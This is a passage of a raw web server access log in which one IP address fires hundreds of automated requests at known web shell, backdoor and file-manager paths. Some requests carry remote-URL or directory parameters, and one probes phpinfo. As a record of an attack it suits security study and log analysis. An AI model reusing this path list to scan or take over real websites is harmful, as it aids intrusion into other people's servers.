/assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:55 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:57 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:58 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:59 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:30:59 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:00 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:01 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:02 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:03 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:04 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:05 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:06 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:07 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:08 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:09 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:10 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:10 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:11 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:12 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:13 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:14 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:15 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:16 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:17 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:18 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:19 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:19 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:20 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:21 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:22 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:23 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:24 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:25 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:26 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:27 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:28 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:28 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:29 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:30 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:31 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:32 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:33 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:34 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:35 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:36 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:36 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:37 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:38 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:39 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:40 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:41 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:42 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:42 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:43 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:44 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:46 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:46 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:47 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:48 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:49 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:49 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:50 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:50 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:51 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:52 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:52 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:53 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:54 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:54 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:55 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:56 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:57 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:58 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:58 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:31:59 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:01 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:02 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:03 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:04 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:05 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:06 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:07 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:08 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:09 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:11 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:13 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:15 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:16 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:17 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:19 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:20 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:22 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:23 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:25 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:27 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:29 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:30 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:31 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:31 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:32 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:33 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:34 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:34 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:36 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:36 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:37 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:38 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:39 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:40 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:42 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:43 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:44 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:45 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:45 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:46 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:47 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:48 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:49 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:50 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:51 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:52 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:53 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:54 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:56 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:32:58 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:00 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:01 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:03 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:04 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:05 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:05 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:07 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:08 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:10 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:12 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:13 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:15 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:17 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:18 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:20 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:22 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:23 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:26 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:27 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:27 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:29 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:30 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:30 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:32 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:33 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:35 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:36 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:37 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:39 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:40 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:42 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:43 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:44 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:45 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:47 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:48 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:49 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:51 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:52 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:54 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:57 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:33:58 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:00 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:02 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:04 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:05 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:06 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:08 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:09 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:10 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:13 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:14 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:16 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:17 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:18 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:19 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:20 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:21 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:22 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:23 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:24 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:25 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:26 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:30 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:33 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:35 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:37 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:38 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:40 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:42 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:43 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:44 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:45 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:47 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:48 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:51 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:52 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:53 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:56 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:34:57 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:00 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:02 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:02 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:05 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:07 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:10 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:13 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:17 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:21 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:25 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:28 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:31 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:36 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:40 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:44 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:45 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:47 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:49 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:52 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:54 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:56 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:57 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:58 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:35:59 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:00 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:01 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:02 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:03 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:04 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:05 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:07 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:07 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:08 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 52.169.149.126 - - [19/Apr/2025:21:36:09 -0400] "GET 